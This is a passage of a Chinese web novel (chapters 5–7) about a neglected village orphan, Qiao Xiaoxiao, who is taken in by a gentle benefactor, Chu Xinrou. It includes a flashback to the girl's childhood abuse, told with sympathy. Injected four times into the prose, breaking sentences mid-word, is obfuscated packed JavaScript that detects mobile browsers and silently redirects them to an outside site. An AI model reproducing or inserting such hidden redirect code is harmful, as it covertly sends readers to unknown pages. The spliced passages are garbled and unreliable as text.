楚心柔停下脚步,转身看她:“到了,把脏衣服脱在外面就好。” 乔潇潇正悄悄抬眼望着她的背影,猝不及防对上视线,立刻慌乱地低下头,手指无意识地绞着衣角。 楚心柔察觉到她的不安与小心,唇角微微扬起一个温柔的弧度:“等你洗完澡,我带你熟悉一下家里。” ——家里。 这个从不属于乔潇潇的字眼,在她心底轻轻滚了一圈,带起一丝隐秘的热意。 楚心柔很细心,带她进了浴室后没有立即离开,而是耐心地指着那些瓶瓶罐罐:“红色的按钮是热水,蓝色的是冷水。这个蓝色瓶子是洗发水,旁边淡粉色的是护发素,那个一按就能起泡泡的是沐浴露……” 她的指尖在光洁的瓷砖上投下浅浅的影子,乔潇潇的目光追随着那抹影子,却又在楚心柔看过来时迅速垂下眼睫。这些精致的瓶身上印着她看不懂的英文,散发着淡淡的茉莉香。在伯母家,她只能用一块发黄的肥皂解决所有清洁,偶尔捡到妹妹用剩的过期洗发水,都算是难得的奢侈。 楚心柔的声音像羽毛般轻柔:“有带换洗衣物吗?” 乔潇潇点点头,手指不自觉地攥紧:“有的。” “好。”楚心柔轻轻带上门,“我就在外面,有事随时叫我。” “谢谢……” 关上门,乔潇潇迅速脱掉了身上被雨水打湿的衣服。潮湿的布料黏在皮肤上的触感终于消失,她轻轻舒了口气。 潇潇小心翼翼地触碰那些陌生的洗浴用品,指尖在瓶身上摩挲,按压泵头时发出的“咔嗒”声让她肩膀一颤,掌心突然涌出的白色泡沫带着清甜的橙花香气,是她从未闻过的味道。她低头嗅了嗅,忍不住又按了一下,泡沫在指缝间堆积,细腻得像融化的雪。 热水从花洒倾泻而下的那一刻,乔潇潇微微瑟缩了一下,随即被温润的水流包裹。水珠顺着脖颈滑落,抚过她常年紧绷的脊背。她仰起脸,让热水冲刷着脸颊,从未有过的舒服与放松。 虽然被温暖的热水包裹着很舒服,乔潇潇还是用最快的速度洗完了澡。她不敢浪费太多热水,洗发水也只挤了黄豆大小的一点,可即便如此,当她擦着微微泛黄的头发时,仍能感受到从未有过的顺滑。发丝从指缝间滑落,带着淡淡的橙花香气,让她忍不住多摸了几下。 走出浴室时,空气中飘来一阵清甜的花香。楚心柔正在厨房里忙碌,暖黄的灯光洒在她身上,为她镀上一层柔和的轮廓。她微微低着头,纤长的手指正在往茶壶里放入晒干的玫瑰和菊花,热气氤氲中,她的侧脸显得格外温柔。 “这么快就洗好了?”听到脚步声,楚心柔转过头,嘴角扬起浅浅的弧度。 乔潇潇穿的还是上次见面时那身洗得发白的衣服,牛仔裤的膝头已经磨出了细小的毛边,浅色T恤的领口微微泛黄。长期的营养不良让她看起来面黄肌瘦,手腕细得仿佛一折就断,但此刻刚沐浴完的她,湿漉漉的头发披散在肩头,反倒显出几分难得的清秀。 楚心柔将一杯冒着热气的花茶推到餐桌对面,“来喝点热的驱寒,刚煮好的。” 乔潇潇站在原地没动,目光落在那杯茶上。剔透的玻璃杯里,淡金色的茶汤上漂浮着几朵舒展的菊花,热气袅袅升起,在杯沿凝成细小的水珠。她抿了抿唇,喉咙不自觉地滚动了一下。茶这种东西,只在村长宋秋家见过,从来没有喝过,对她来说,太奢侈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这突如其来的神采让楚心柔微微一怔。 从乔潇潇踏进这个家门开始,她就一直低垂着头,说话细声细气,每个动作都带着小心翼翼的试探,眼里没有露出过这样的光。 乔潇潇察觉到楚心柔注视的目光,立即低下头去。 刚刚,她敏感地捕捉到楚心柔说不是很会做饭,那她可以认真学厨具怎么用,以后给她做饭。 多年寄人篱下的生活早已在乔潇潇的骨子里刻下一个认知:在别人家里,必须要拼命干活、付出劳动,才配得到那一点点立足之地。 5. 第 5 章 楚心柔纤细的手指轻轻系上亚麻色围裙的带子,在腰间打了个精致的蝴蝶结。她抬手按下墙上的开关,厨房顶部的嵌入式LED灯瞬间亮起,将整个空间照得如同白昼。不锈钢抽油烟机反射着冷冽的光芒,大理石台面上整齐排列着各种乔潇潇叫不出名字的厨具。 乔潇潇站在厨房门口,好奇地打量着一切。 她从未见过这样的厨房,在她大伯家,做饭只需要一个烧炕的炉子,一口铁锅,一把木勺和简单的调味品。 而眼前这个空间,光灶台就有四个火眼,旁边还摆着几个方方正正的电器,闪烁着各种颜色的指示灯。 楚心柔一回头,看见乔潇潇漆黑的大眼睛里好奇的目光,勾了勾唇角笑了,“想学?” 乔潇潇的脸“腾”地红了起来,从耳根一直蔓延到脖颈。她下意识地低下头,粗糙的手指绞着衣角,却又忍不住抬眼偷瞄那些闪闪发亮的厨具。 “不……没有。”乔潇潇的声音细如蚊蚋,她想起大伯嘱咐的话,“去人家家里别乱动,城里的东西金贵,弄坏了赔不起”。 楚心柔将一缕散落的发丝别到耳后,她放缓了手里的动作,“其实我也不太会用这些。”她的声音里带着几分不好意思,“我平时用的很少,好多厨具我都没搞明白。” 她指着电磁炉上闪烁的按钮:“这个我只会用煮面功能,其他模式都太复杂了。”说着按下几个键,炉面立刻亮起一圈蓝光。“水烧开要十分钟,比煤气慢多了。” “哦,对了,要先下鸡蛋的。” 楚心柔打开冰箱,取出两颗鸡蛋,却因为动作太急差点摔了一个。乔潇潇下意识伸手去接,鸡蛋在桌沿危险地晃了晃,最终被她稳稳接住。 楚心柔对她点了点头,接过鸡蛋下锅。 “应该冷水下锅……”乔潇潇忍不住小声提醒,“等水快开时打蛋,这样蛋黄才不会散。” 她一时意识到自己多言了,瞬间屏住了呼吸。 楚心柔恍然:“原来是这样,我每次都直接把蛋打进沸水里,难怪会散。” 乔潇潇不敢看她,小声说:“下次我可以煮的。” 她说完悬着一口气在嗓子眼处,一直到楚心柔的一声“好”才重重地落在心底。 楚心柔平时食量不大,煮面只放一小撮,她想着乔潇潇正在长身体,就多放了一些,等面条煮出来,看着白花花浑浊的一锅汤,楚心柔轻轻叹了口气:“还是有点黏了。” 每次煮面都是这样,她也不知道哪里出了问题。 楚心柔转身准备去拿碗筷时,乔潇潇已经利落地摆好了餐具,她的动作很轻,碗筷摆放得整整齐齐。 楚心柔要盛面的,乔潇潇却抢先一步。 楚心柔看着她,心底感慨她的懂事,是一个眼里有活的孩子。 当两碗面摆在桌上时,楚心柔看的微微一怔,她的碗里堆着满满的面条,两个完整的荷包蛋金灿灿地卧在上面,而乔潇潇面前的那碗,几乎全是清汤,只有几根面条可怜地漂浮着。 楚心柔:“我吃不了这么多的。” 她的筷子刚伸过去,乔潇潇就急忙摇头,黑亮的眼睛里闪过一丝慌乱,很害怕的将身子缩起来。 楚心柔有些惊讶于她反常的反应,沉思了片刻,她柔声说:“吃吧。” 她没有直接用碗吃,而是又拿了一个碗,盛出去大半碗面条和一个荷包蛋。 因为不会做卤子,楚心柔只撒了一些盐和酱油进去,这样一碗色香味都不俱全的挂面,她是没有什么胃口的。 可对面的乔潇潇已经捧起了碗,热腾腾的蒸汽模糊了她的脸庞。 这碗煮坨了的面对楚心柔来说索然无味的面条,对常年啃冷馒头的乔潇潇而言,却是难得的热乎饭。她抿了一口汤,滚烫的汤汁滑过喉咙时,她的睫毛轻轻颤了颤,嘴角不自觉地扬起一个几不可见的弧度。 楚心柔握着筷子的手微微一顿,看着乔潇潇因为一口热汤就满足的表情,心里泛起一丝怜惜。吃碗面而已,这么开心的吗?她以前到底过的什么日子? 前些天因为匆忙,也是害怕楚心柔会像是之前的七八户村民那样,嫌弃乔潇潇的出身,认为她是扫把星,宋秋只是简单的说了一下她的家庭情况,“妈妈在她五岁那年,带着她妹妹跑了,家里的爸爸也矿难去世了,就留她一个人,挺争气的,学习很好。”其他的没有过多的去谈论,所以楚心柔对她的过去知道的并不多。 两人安静地吃着面,只有筷子偶尔碰触碗沿的轻响。 楚心柔的目光不动声色地落在乔潇潇身上,看着她嶙峋的腕骨随着夹面的动作在皮肤下若隐若现,想起了那一日,在山上采风时,看见她身上骇人的伤痕与不符年龄的坚强。 当乔潇潇碗底将见时,楚心柔轻轻推过早已备好的那碗面。她没有再用温柔的语气劝说,而是换了种稀松平常的口吻:“别浪费。” 果然,这样的说辞让乔潇潇不再推辞。她低着头,那双骨节分明的手小心翼翼地接过面条,动作轻得像是怕惊扰了什么。 楚心柔看着她近乎狼吞虎咽的样子,默不作声地倒了杯温水放在她手边。 饭后,乔潇潇几乎是条件反射地站起身收拾碗筷。楚心柔这次没有阻拦,她安静地观察着这个过分懂事的女孩。 厨房里,乔潇潇将水流调到几不可闻的档位。温水冲刷着瓷碗,她的手指在泡沫间灵活穿梭,只有在这种时刻,当她专注于这些重复了无数遍的家务时,紧绷的肩线才会不自觉地放松下来。 楚心柔看着她,若有所思。 收拾完毕,楚心柔带着乔潇潇熟悉房间,她的声音轻柔。 “这里是客厅,阳光最好的地方。” “这边是健身房。” “这间是画室,我偶尔在这里写生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546798|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这里是书房,书架上的书都可以随便看。” ...... 最后,楚心柔停在走廊尽头,轻轻推开一扇米白色的门:“这是客房,你先住这里。” 乔潇潇站在门边,手捏着自己唯一的包,点了点头:“谢谢。” 宽敞的房间中央摆着一张大床,落地窗外,灯火如星河般闪烁。 乔潇潇没有睡衣,只穿了旧旧的吊带和短裤。 窗外雨声淅沥,乔潇潇睁着眼睛躺在黑暗中,紫罗兰色的丝质床单触感冰凉顺滑,却让她浑身不自在,她早就睡惯了每个翻身都会发出刺耳的“吱呀”声硌人床板。 乔潇潇小心翼翼地翻了个身,生怕弄皱了这精致的床单,手指无意识地摩挲着丝滑的布料。 辗转反侧到凌晨两三点,睡意才终于战胜了不安,朦胧间,乔潇潇仿佛又听见伯母尖利的嗓音:“几点了?还不起来!”那声音如此真实,惊得她猛地坐起身,胸口剧烈起伏。 被冷汗打湿衣襟的乔潇潇茫然四顾,这才意识到自己已经不在那个阴暗潮湿的柴房。 窗外,晨曦的第一缕阳光正温柔地洒在陌生的地板上。 乔潇潇坐在床上,大口大口的喘息着。 …… 六点半的晨光漫进洗手间,楚心柔揉着惺忪的睡眼,瞥见了那个角落乔潇潇的洗漱用品——一块包装简陋的肥皂孤零零地躺在洗手台角落,旁边马克杯里斜插着一支牙刷,硬质的刷毛东倒西歪,连个擦脸油都没有。 楚心柔盯着看了半响,她握着电动牙刷的手顿了顿,水流声在寂静的清晨显得格外清晰。 等她洗漱完毕推开房门时,房间里静悄悄的,只有厨房飘来的面香。 灶台上摆着一碗面条,怕坨了,用凉水投过,细如银丝的面条整齐地码在碗里,上面卧着一个荷包蛋,金黄的蛋黄半凝固着,周围点缀着几片翠绿的葱花和香菜。 楚心柔愣住了。这碗面比她昨晚煮的卖相好太多了,餐桌上还摆着一杯温热的牛奶,杯底压着一张字条——姐姐,我先去学校周边看看,记得吃早饭。 楚心柔端起碗抿了一口汤,是她喜欢的淡口,很鲜,也不知道乔潇潇是怎么观察到的。她望着空荡荡的玄关,那里整齐摆放着她昨晚给乔潇潇准备的拖鞋,鞋尖朝外。 地板,应该是擦过的。 茶几上,整整齐齐地放着不知道被她丢在厨房角落里落了多久灰的说明书。 楚心柔随便翻了几页,发现乔潇潇在一些英文单词下面标了中文,明显是看过的,而且已经看了一半了。 她到底几点睡的?又是几点起的?怎么能做这么多事儿?昨天被大雨淋了那么久,又住在人生地不熟的地方,她该有多么疲惫不堪。 在这一刻,楚心柔突然想知道,这孩子体贴入微背后,到底藏着怎样战战兢兢的惶恐与不安。 6. 第 6 章 电话铃声突兀地响起时,宋秋的心猛地一沉,看着屏幕上闪烁的“楚大善人”时,指尖不自觉地发颤。 该不会是潇潇那孩子做错了什么,要被“退回来”吧? “您别紧张。”听筒里传来的声音依旧温柔似水,像春日里拂过柳梢的暖风,楚心柔说话时总带着特有的韵律,让人不自觉地放松下来,“我只是想了解一些关于潇潇过去的事。” 关于乔潇潇的过去? 宋秋悬着的心突然落了地,随即涌上一阵欣慰。 这些年,楚心柔资助过的贫困生不在少数,她很少追问孩子们的过去,她知道这些正值青春的孩子,骨子里都藏着脆弱的骄傲。她总是在孩子们最需要的时候恰到好处地出现,却又在他们能够独立时适时抽身。 他估计楚心柔现在关心乔潇潇的过去,明显也是感觉这孩子不同寻常的懂事儿,想要了解一下了。 说起乔潇潇的身世,宋秋不由得长叹一声。在万柳村当了近二十年的村长,他见过太多苦难,但像潇潇这样命运多舛的孩子实在少见。 “她妈妈王素啊,是隔壁村飞出来的金凤凰。”宋秋的眼中浮现出追忆的神色,“那可是咱们十里八乡第一个女大学生,嫁给乔半山的时候,整个村子都炸开了锅。” 在那个连高中生都凤毛麟角的年代,王素的到来就像一颗明珠坠入了山沟沟。乔半山当时在村里开了第一家小超市,小两口一个知书达理,一个精明能干,日子过得风生水起。婚后第二年,乔潇潇的降生更给这个家添了喜气,超市开到了镇上,气派的二层小楼也拔地而起。 潇潇三岁那年,妹妹乔璐璐出生了。宋秋至今记得,五岁的小潇潇穿着鹅黄色的连衣裙,像个瓷娃娃似的坐在村口老槐树下画画的样子。那时候“鸡娃”还没成为潮流,这孩子就已经每周坐着班车去城里学绘画、学雕刻了。 宋秋摇头叹息:“要是日子就这么过下去——” 谁能想到,事业家庭双丰收的乔半山,竟在春风得意时迷失了方向。酒桌上的推杯换盏,赌场里的吆五喝六,渐渐把这个曾经精明的男人拖进了深渊。 乔家的衰败像一场慢性死亡。先是超市货架上的商品渐渐出现空缺,慢慢的,保险柜里用于进货的钱都不见了,紧接着是王素梳妆台抽屉里的首饰都被偷走变卖了。 王素试遍了所有能想到的办法。她曾在凌晨三点跪在赌桌前,额头抵着冰冷的大理石地面,哭喊着丈夫的名字;也曾狠心把乔半山反锁在卧室,听着里面传来野兽般的咆哮和撞门声;最绝望的时候,她牵着两个女儿站在丈夫赌博的出租房外,一等就是一晚上。 但都没有用。 乔半山回家的时间越来越晚,身上的酒气越来越重,带回来的钱却越来越少。起初只是偶尔翻找家里的零钱,后来竟连王素藏在米缸底、给女儿准备的学费都被他翻了出来。 债主们终于找上门来,超市的卷帘门被贴上封条时,王素还抱着一丝希望。直到看见乔半山在祖宅地契上按下手印的那一刻,她才彻底明白,这个家已经无路可退了。 提出离婚那天,王素的声音很轻却很坚决。她说可以什么都不要,只要两个女儿的抚养权。话音未落,乔半山就像一头被激怒的狮子,第一次对她举起了拳头。 那记耳光像是拧开了暴.力的阀门。 此后只要王素提离婚,或是他喝醉酒回家,等待她的必然是一顿拳脚相加。为了防止妻子逃跑,乔半山甚至用栓狗的粗铁链,将大女儿乔潇潇的脚踝锁在了床腿上。 临近过年冰冷的夜里,王素终于抱着小女儿逃出了这个魔窟。临走前,她红着眼睛拜托邻居报了警。当民警带着宋秋破门而入时,看到不满十岁的乔潇潇像只小狗般被铁链拴着,却还乖巧地趴在地上写作业。直到看见警察,小女孩才突然“啪嗒”“啪嗒”掉起眼泪来。 可惜在那个年代,闭塞的小县城里没人愿意作证。乔半山咬死把一切责任都推到了王素身上,他被教育一番就放了回来。王素带着小女儿远走高飞,只有乔潇潇被永远留在了这个牢笼里。 日子就这么艰难的过着,最后,他们连个遮风挡雨的屋檐都没了,只能蜷缩在邻居废弃的牛棚里。 那牛棚破败不堪,冬天时,寒风从木板缝隙里呼啸灌入,冻得人骨头生疼;夏天又闷热潮湿,苍蝇嗡嗡乱飞,混合着挥之不去的腐臭味,熏得人睁不开眼。 乔半山没了赌本,只能偶尔去矿上打零工,赚来的钱转眼又换成劣酒灌进喉咙。喝醉了,他就把怨气全撒在乔潇潇身上,拳脚相加,谁拦就打谁。村里有人看不下去,想收留这个可怜的小姑娘,却被他红着眼睛骂走,说谁要是敢多管闲事,他就跟谁拼命。 而那个瘦小的、满身淤青的十岁女孩,就这样在无人问津的角落里,默默地用扫帚清理着牛棚的污秽,靠邻居偷偷塞给她的土豆和野菜,一天天熬下去。 或许,老天终究没有放过作恶的人。 乔潇潇快满十岁那年,乔半山在一处非法开采的矿洞里送了命。矿主连夜跑路,连一分赔偿金都没留下。她成了真正的孤儿,像棵野草般被随意丢弃在世上。 大伯乔万山来接她那天,小姑娘死死攥着破旧的衣角,一步三回头地望着那个漏风的牛棚——那是她童年记忆里的“家”。她用脏兮兮的手背抹着眼泪,却怎么也擦不干。 起初,黄素兰对这个侄女还算过得去。虽没什么好脸色,倒也不打不骂,权当家里多了条看门狗,给口剩饭、给个角落睡觉就成。乔潇潇懂事得让人心疼,天不亮就爬起来干活,还要照看表妹糯糯。渐渐地,黄素兰脸色缓和了些,偶尔还会往她碗里夹两片肉。 可命运从未善待过这个女孩。 十三岁那年的秋收时节,黄素兰夫妇天没亮就去地里干活,把姐妹俩留在家里。清晨乔潇潇就发现妹妹小微烫,还有些不对劲儿的红,可刚开口就被以为想出去玩耍偷懒的黄素兰厉声呵斥:“小小年纪就学会偷奸耍滑!”吓得她再不敢多说。 等到午后,糯糯已经烧得像块火炭。乔潇潇用凉毛巾敷了半天也不见好,跌跌撞撞跑去邻居家求救,却发现家家户户都去秋收了。她咬咬牙,抱起妹妹就往村卫生所跑。 可还是太迟了。 当黄素兰夫妇赶到时,糯糯因高烧损伤了大脑,再也说不出话来。 当把一切错都归在她身上的黄素兰猩红的双眼裹挟着滔天恨意扫来时,乔潇潇瘦弱的身躯猛地一颤,她的后背死死抵着斑驳的土墙,指甲在墙皮上刮出几道白痕。整整一天的惊恐与奔波早已耗尽了这个十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546799|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三岁女孩的全部力气,她连呼吸都变得破碎不堪,大颗大颗的泪珠无声地滚落,她想辩解,想求饶,可喉咙里却像塞了团浸透冰水的棉花,连呜咽都发不出来。 命运的皮鞭又一次抽在这个女孩身上。 那些拳脚相向的日子,像阴魂不散的噩梦重新降临。更可怕的是,整个村子都将“扫把星”的烙印深深烙在她单薄的脊背上,仿佛谁靠近她,就会沾染上不幸的诅咒。 乔潇潇是那么敏感懂事,小心翼翼,她总是第一个到教室,把黑板擦得锃亮;路过田埂时,会悄悄帮老人扛起沉重的柴捆。 可即便这样,村里人见到她仍像避开瘟神般绕道而行。放学路上,她的影子被夕阳拉得很长很长,长得能盖住整个村口的石板路。 渐渐地,她学会了在清晨无人的井台打水,学会了对着斑驳的墙壁自言自语。 有时候蹲在河边洗衣服,她会突然停下,望着水中倒影发呆,那张过早褪去稚气的脸上,写满了与年龄不符的苍凉。 后来,乔潇潇懂了,原来在这世上,有些人生来就是罪人,连呼吸都是错。 她也认命了。 楚心柔在窗前伫立良久,直到眼底的潮意渐渐褪去。她驱车来到三中,想看看那个女孩是否适应了新环境。可刚到校门口,有认识的老师诧异地问:“学校还有四天才开学呢,您怎么来了?” 还有四天才开学,所以,乔潇潇说的去学校周边看看,并不是上学么? 楚心柔怔在原地。人生地不熟的,那孩子能去哪儿? 乔潇潇无法心安理得地待在楚心柔宽敞明亮的房子里,高中生活的未知像块巨石压在她心头,驱使她迫切地想要自食其力。就像从前那样,找份零工,靠自己的双手活下去。 然而走遍大半个城区,被一家家店铺婉拒后,乔潇潇才明白自己把事情想得太简单了。城里的规矩和村里截然不同,那些老板只要瞥见她稚气未脱的脸庞,不等她开口就摆手摇头。她甚至愿意把工钱压到最低,说自己什么脏活累活都能干,可换来的永远是一句“未成年我们不收”。 夕阳将她的影子拉得老长,孤独地映在柏油路上。 楚心柔最后是在公园的一角找到乔潇潇的。 正值暑假尾声,公园里举办着热闹的嘉年华。彩色的气球在暮色中飘荡,棉花糖的甜香混着爆米花的奶油味弥漫在空气里。到处都是欢声笑语,年轻的父母牵着孩子,情侣们十指相扣,每个人的脸上都洋溢着幸福的光彩。 而在这片欢乐的海洋中,楚心柔看见了那个瘦瘦小小的身影。 乔潇潇拖着一个大大的蛇皮袋子,她踮着脚尖,半个身子探进垃圾桶里,麻杆一样的手臂在污秽中翻找着什么,最后,她掏出一个易拉罐,踩瘪后,扔进了袋子里,她始终都很小心翼翼,当有人靠近时,乔潇潇就像受惊的麻雀般猛地缩回手,低头站在一旁,等嬉闹的人群走远才敢继续。 楚心柔一眨不眨地看着乔潇潇。 看着女孩弯腰时露出的一截后颈,那里还留着未消的淤青; 看着她每捡满十个瓶子就要停下来揉一揉勒得发红的手指; 看着她在闻到爆米花香气时,不自觉地咽了咽口水。 楚心柔都看见了,看的眼眶发热。 7. 第 7 章 夕阳西沉,天边的云霞染上了一层橘红色的光晕。乔潇潇坐在公园斑驳的铁艺大门旁,小心翼翼地数着手里皱巴巴的钞票。八块六毛钱,她反复数了三遍,指尖轻轻摩挲着那些被汗水浸湿的纸币。终于,她紧绷了一整天的眉头舒展开来,干裂的嘴角扬起一个浅浅的弧度。这些钱,或许只够城里孩子买杯奶茶,甚至买不起快餐店里的一个汉堡。但对乔潇潇来说,这意味着她又攒够了高中一天的生活费。 暮色中,爆米花的甜香随风飘来,她不由自主地停下脚步。小贩的推车前,金黄的爆米花在灯光下泛着诱人的光泽,“一袋只要两块钱”招牌让乔潇潇停住了步伐,喉头滚动了几下,她攥紧手里的钱,转身融入渐暗的街道。 回去的路上,乔潇潇在菜市场门口驻足。昨天带来的一个干硬的馒头她三两口就下了肚,粗糙的口感刮得喉咙生疼。摊位上的价签让她刚舒展的眉头又拧了起来,这里的青菜竟比老家贵了一倍不止。最后,她买了一斤西红柿,各个精挑细选,红彤彤的保证沙瓤好吃,她不能白白吃白住人家。 走到楚心柔家门口的时候,乔潇潇停下脚步。她理了理洗得发白的衣领,又低头嗅了嗅袖口。夏日的汗味混着街头的油烟味,但还算清爽。 门铃清脆地响了三声,门“吱呀”一声被拉开。楚心柔站在门内,逆着夕阳的余晖,整个人像是被镀上了一层柔和的金边。她身上套着一件靛青色的亚麻罩衫,宽大的袖口沾染了几抹颜料,像是无意间落下的星辰。乌黑的长发随意地散在肩头,发梢还沾着一点未干的水彩。她右手执着一支狼毫笔,笔尖的墨汁将滴未滴,在空气中悬着一颗晶莹的黑珍珠。 “回来了?”楚心柔微微歪头,唇角扬起温柔的弧度。 乔潇潇下意识攥紧了手中的塑料袋,塑料摩擦发出细碎的声响,“嗯,我买了西红柿。” 她举起袋子,透红的果实挤在薄薄的塑料袋里,在夕阳下像是一盏盏小灯笼。 楚心柔的目光在袋子上停留了一瞬,忽然眼睛一亮:“正好我画画渴了。对了—— ”她转身从玄关的矮柜上捧出一个纸袋,“要吃爆米花吗?隔壁刚送来的,甜得发腻,我吃了几个怕长胖。”她皱了皱鼻子,做出一个嫌弃的表情,“扔了又觉得浪费。” 乔潇潇的视线不由自主地黏在那袋爆米花上。 金黄的爆米花堆成小山,每一颗都裹着晶莹的糖衣,在光线中闪烁着甜蜜的光泽,她舔了舔唇,馋了一天的食物就这么在眼前晃动,欲.望终究压下了理智,乔潇潇用力地点了点头,她关上门走了进去。 院子里,画架静静地立在暮色中。 画布上肆意泼洒着浓烈的色彩,钴蓝、绛紫与鎏金交织碰撞,宛如整座城市的霓虹被揉碎后倾泻而下。而在那片令人目眩的斑斓漩涡中央,一个纯白的小小身影静静蜷缩,单薄的线条勾勒出环抱双膝的姿态。它像一滴未干的泪珠悬在繁华之上,与周遭的绚烂格格不入。 乔潇潇看不懂那些抽象的色彩,又勾起了心底童年的回忆,她匆匆瞥了几眼,便低头钻进厨房。水龙头哗哗作响,冰凉的水流冲刷着西红柿鲜红的表皮,也冲散了她心头那点莫名的酸涩。 等她端着晶莹剔透的果盘出来时,楚心柔正在收拾画具。乔潇潇自然而然地凑过去帮忙,动作熟稔地将画笔按粗细分类,颜料管按照色系排列得整整齐齐。 楚心柔看着她问:“你学过画画?” 乔潇潇的手指突然僵在半空。她垂下眼帘,睫毛在脸颊投下淡淡的阴影。“算是吧。”她的声音轻得像一声叹息,“很小的时候学过。” 太小了,以至于那段记忆已经褪色得几乎透明。乔潇潇只记得画室里阳光的味道,颜料管挤出的清脆声响,还有妈妈的手掌覆在她的小手上教她运笔的温暖。 那时候,生活还没有变成一场漫长的寒冬。 她还有家,有爸妈。 楚心柔眼睛一亮:“要不要试试?” 乔潇潇想要推拒,可嘴里爆米花残留的甜味让她点了点头。当楚心柔要给她挤新颜料时,她急忙摆手:“不用,这些剩下的就很好。” 画笔握在手里的感觉既陌生又熟悉。乔潇潇笨拙地调整着握姿,像个刚学写字的孩子。她下意识回头,正看见楚心柔咬着她买的西红柿,汁水染红了唇角,朝她露出鼓励的微笑,那个笑容像一束阳光,温柔地包裹着她。 再次转过身时,乔潇潇的笔尖悬在画布上方微微颤抖。起初每一笔都迟疑不决,像蜗牛在雨后潮湿的地面留下的痕迹。渐渐地,那些线条开始变得急促而有力,颜料在画布上肆意流淌,灰与黑交织成一片压抑的阴云。 她本只是敷衍地应和楚心柔的提议,可画笔却像有了自己的意志。那些被深埋的痛楚顺着笔尖喷涌而出——父亲酗酒后砸碎的碗碟,母亲深夜压抑的啜泣,伯母粗暴的砸门声,村民们看瘟神一样的眼神……记忆的碎片化作浓重的颜料,一层层覆盖在画布上。 她的眼眶不知何时变得滚烫,视线渐渐模糊,一颗泪珠砸在调色盘里,在铅灰色的颜料上溅起微小的水花。乔潇潇这才惊觉自己的失态,慌忙用沾满颜料的手背抹了抹脸,留下一道灰色的痕迹。 “对不起,我画得不好看。” 她低着头,声音细若蚊呐,指甲无意识地抠着画笔的木柄。 楚心柔静静地站在她身后。画布上,浓重的黑色漩涡中心,一个模糊的人形正被无数灰暗的线条缠绕、拉扯。 那些粗粝的笔触里,藏着太多说不出口的痛楚。 楚心柔的目光落在乔潇潇眼角的一抹红上,指尖微微动了动,却终究没有抬手。她只是柔声道:“不要紧的。”顿了顿,又轻声问:“吃饭了吗?” 乔潇潇下意识点头。那个干硬的馒头还在胃里沉甸甸地坠着,喉间似乎还残留着粗糙的触感。 楚心柔看着她紧绷的嘴角,轻轻叹了口气:“我买了五花肉,可惜……”她无奈地摊开手,“我实在不会做这些。” “我来做!”乔潇潇几乎是脱口而出,声音比平时高了八度。说完才意识到自己的失态,耳尖悄悄红了。 楚心柔的唇角弯成一个温柔的弧度,眼里的笑意像春水般漾开:“好。”她顿了顿,目光扫过乔潇潇沾着颜料的手指,“不过,你先去洗个澡好吗?” 热水淋在身上的瞬间,乔潇潇还有些恍惚。蒸腾的水汽模糊了镜面,也模糊了她的视线。她已经记不清上次这样畅快地沐浴是什么时候了,在伯母家,连多用一瓢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546800|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水都要看人脸色。多少个深夜,她只能就着月光,用冰冰冷冷的湿毛巾草草擦拭身体。 当乔潇潇用毛巾揉着湿漉漉的发梢走进厨房时,楚心柔指了指沙发:“用那个。” 一只乳白色的吹风机静静地躺在米色沙发垫上,在灯光下泛着温润的光泽。乔潇潇的脚步顿住了,她盯着那个陌生的物件,手指无意识地绞紧了毛巾,“不、不用了,”她声音轻得几乎听不见,“头发……很快就会干的。” 楚心柔正弯腰从冰箱里取肉,头也不抬地说:“不行哦,一会儿进厨房会沾一身油烟味。”她顿了顿,又补充道:“对头发也不好。” 乔潇潇听了生怕自己被嫌弃,乖乖地拿起吹风机吹头发,暖风很舒服,她虽然小,但是常年用冷水洗澡,隐隐的已经落下了偏头疼的毛病,等她吹完后,就迫不及待的去厨房去忙了。 楚心柔想要帮忙打下手,却被乔潇潇坚决地拦在了厨房外。少女纤细的身影在灶台前忙碌得像个陀螺,切肉、备料、调汁,动作行云流水。她对着高压锅说明书研究了片刻,很快就掌握了使用方法。不一会儿,浓郁的肉香就从厨房飘散开来。 坐在客厅的楚心柔望着从未如此热闹的厨房,心里泛起一丝暖意。暖黄的灯光下,锅铲碰撞的声响、蒸汽升腾的呼呼声,这些最平常的生活声响,对她来说却是久违的温馨,她自己在家很少开火,一个是厨艺不好,一个是一个人吃饭懒得折腾。 